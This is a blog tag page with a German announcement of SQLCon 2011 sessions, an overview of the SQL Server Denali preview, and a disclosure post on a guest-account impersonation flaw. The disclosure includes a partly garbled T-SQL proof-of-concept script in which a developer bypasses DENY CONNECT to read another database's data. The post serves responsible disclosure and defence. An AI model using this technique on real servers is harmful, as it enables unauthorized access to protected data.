Tag: "security"

Sessions auf der SQLCon 2011

Auch dieses Jahr bin ich wieder mit bis dato zwei Sessions auf der SQLCon 2011 – 26. – 29. September in Mainz vertreten.

Update (09/2011): Den Vortrag “Reporting Services in SQL Server Denali” habe ich zugunsten eines mir noch mehr am Herzen liegenden Themas gestrichen. (Außerdem werden die Reporting Services selber kaum viele Neuereungen in Denali erfahren)
Dafür halte ich eine Session zu den Sicherheits-Features & Techniken von SQL Server für Entwickler:

“Schutz gegen SQL Injection sollte mittlerweile zum Repertoire jedes Entwicklers gehören. Jedoch gibt es noch andere Wege, an sensible Daten zu gelangen oder sie zu manipulieren. In dieser demointensiven Session (Achtung: Code, Code) werden wir uns vor allem anderen Techniken widmen, die man im Repertoire haben sollte, die Sicherheit seiner Daten zu stärken. Dazu gehören Basics wie Schema-Design für Security, Besitzerketten und ihre Fallstricke, Codesignierung und Verschlüsselung für die kritischsten Daten.“

”Wer Berichte mit Reporting Services erstellt, wird feststellen, dass ganz schnell nach weiteren verlangt wird. Und früher oder später kommt der Ruf nach einem einheitlichen Aussehen. Die Unterstützung dafür out of the box ist eher schwach. Dennoch kann man mit geschickter Kombination der zur Verfügung stehenden Möglichkeiten eine starke Effizienz-Steigerung beim Erstellen neuer Berichte erreichen.“


Ich würde mich freuen, den einen oder anderen persönlich, “offline”, begrüßen zu können.

Andreas Wolter

Sarpedon Quality Lab

Preview of SQL Server 2012, Codename Denali CTP 1 presented at PASS Summit 2010 in Seattle

This year’s PASS Summit again surpassed the former year’s one. And this was not only because of even more sessions, internationally well-known speakers and even more attendees. This November, the next release of SQL Server was officially being introduced to the public, and the first CTP is ready for download for the broad public.

The improvements and features are enormous. Developers can look forward to a new Development Environment (Project Juneau), and new capabilities and performance using the new Filetable-Feature, as well as super fast response through the new Column-Based Query Accelerator technology.

Analysis Services will be receiving a new engine, based on the Vertipaq (known from PowerPivot), called BI Semantic Model for easier development for less complex BI Projects. (The UDM will stay as an alternative)
Here is a link to the Technet article on “Analysis Services – Roadmap for SQL Server “Denali” and Beyond”.

Integration Services ware becoming a true windows service for central execution and management.


Reporting Services users and developers can look forward to an web-integrated report designer together with interactive and dynamic charts. (Project Crescent)

Administrators gain new possibilities regarding security with customizable Server roles and database-only users. Database-only users are especially meant to support the new “Contained database”-Feature, which eases the deployment and movement of databases together with the depending objects from server scope.
(You can find a good high-level overview on the log-on process of database-only users at this msdn blog-post: http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/08/contained-database-authentication-in-depth.aspx. And here is a great blog-post, going through different scenarios with this feaure: http://sqlblog.com/blogs/aaron_bertrand/archive/2010/11/16/sql-server-v-next-denali-contained-databases.aspx.)

High Availability will be eased by combining the log-shipping, database-mirroring and Clustering features under a new concept of “Always on” technologies, which can be used to form a so called “Availability Group”.

Steffen Krause from Microsoft Germany has some more info on the Denali release and also shows demos in his webcasts: http://blogs.technet.com/b/steffenk/archive/2010/11/15/sql-server-denali-ctp-1-verf-252-gbar-was-ist-neu.aspx

If you want to check out the CTP yourself, here is the link: http://www.microsoft.com/sqlserver/en/us/product-info/future-editions.aspx



Sarpedon Quality Lab

Security-issue: guest-guest impersonation

Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 – 2008 R2, haven't tested 2000) regarding the usage of the guest-account and impersonation.

It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. - Thanks to Jack Richins from Microsoft for helping me find the root cause. (MSDN-blog post)

Unfortunately, a fix hasn’t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename “Denali”. Here is the Connect-Item: https://connect.microsoft.com/SQLServer/feedback/details/509379/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security

Recently I demonstrated this technique again at the SQLCon in Mainz/Germany and now feel that I should blog about this.


This issue applies in a couple of scenarios, a more common of which I want to show here.


One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database – on the same Server, where other databases exists, which may contain “public” data. But “public” maybe only for internal usage and not for external developers.

This is accomplished the following way: the database, let’s call it “InternalPublicData” will have the guest account enabled, and guest has permissions to see whatever is of interest for internal stuff.

In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny Connect-permission to the database, to secure it even more.

But this doesn’t help either, as you will see.

Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using db_ddladmin etc.)

And now the trouble begins: The developer, let's call him “Dev0” cannot successfully connect to the InternalPublicData-database and act as guest there. But what he can do is the following: he can enable guest in his very own database.

Doing that, he can impersonate his local guest and then, not being “Dev0” any more, go to the InternalPublicData-database and successfully connect.

At that stage, he already has all permissions that the remote guest-account already has directly attached to it. But that’s not all. He can then do a second impersonate and gain role-memberships of the guest at the InternalPublicData-database!

No "Deny" for Dev0 can prevent that!


As a second option, he could, with permissions of creating a “User without Login“, impersonate that User and use it to jump to other databases where guest-is active…


The following is a script to demonstrate:

    WITH PASSWORD = 'Pa$$w0rd'

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;

use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

ON dbo.t1
TO guest    -- and only guest

exec sp_addrolemember 'db_datareader', 'guest'    -- just to point out the fact that these guest-accounts are actually different even further

CREATE USER Dev0 FOR LOGIN Dev0    -- no memberships, so denied everything and not matching to guest automatically

DENY CONNECT TO Dev0    -- to make SURE!

-- DB 2
use DevelopmentDB;


EXEC sp_addrolemember N'db_owner', N'Dev0'


/* Setup finish */

/* Session as Dev0 */


-- Who and Where am I
    , DB_NAME() AS Current_Database

use InternalPublicData;    -- not possible with Deny Connect

SELECT * FROM t1    -- with no Deny connect he gets denied here

execute as user = 'guest';        -- he can NOT do this at the remote DB (good so far)

-- Part One:

-- go back
USE DevelopmentDB

execute as user = 'guest';        -- not active

grant connect to guest;    -- but as a "Dev" with excessive permissions he can do what he wants
exec sp_addrolemember 'db_datawriter', 'guest'    -- just so that one can differentiate the guest accounts easier

execute as user = 'guest';        -- now we are in the game

-- Who and Where am I
    , USER_NAME()    AS DBUser
    , DB_NAME() AS Current_Database

select * from sys.user_token;    -- now he became guest in DevelopmentDB for real

-- End of Part One

-- Part Two: using guest for executing as guest

USE InternalPublicData;        -- we connected as guest - no Deny for Dev0 Applying!!

    , USER_NAME()    AS DBUser
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest in the remote-DB

SELECT * FROM dbo.t1        -- permissions at User(guest)-Level already working!

SELECT * FROM dbo.t2        -- not working because permission for role not applying

-- BUT: switch to InternalPublicData guest explicitely
execute as user = 'guest';        --NOW "Dev0" can do it in the Target-DB

    , USER_NAME()    AS DBUser
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest with group-membership in Target-DB

SELECT * FROM dbo.t2            -- can now also read datathrough role-membership

-- End of Part Two: using guest for executing as guest
/* back off step by step */

USE InternalPublicData

USE DevelopmentDB


USE InternalPublicData

/* Finished */

USE master;
DROP DATABASE InternalPublicData;


There is just one option to be sure that your system is safe from developers: don’t mix production with development – not even on server-level!

This should be absolutely clear, but I’ll repeat that, as long as I see mixed environments at customers' sites. Unfortunately, this is very common.

And secondly: never use the guest account for data that is not really supposed for everyone.

1 2 3 5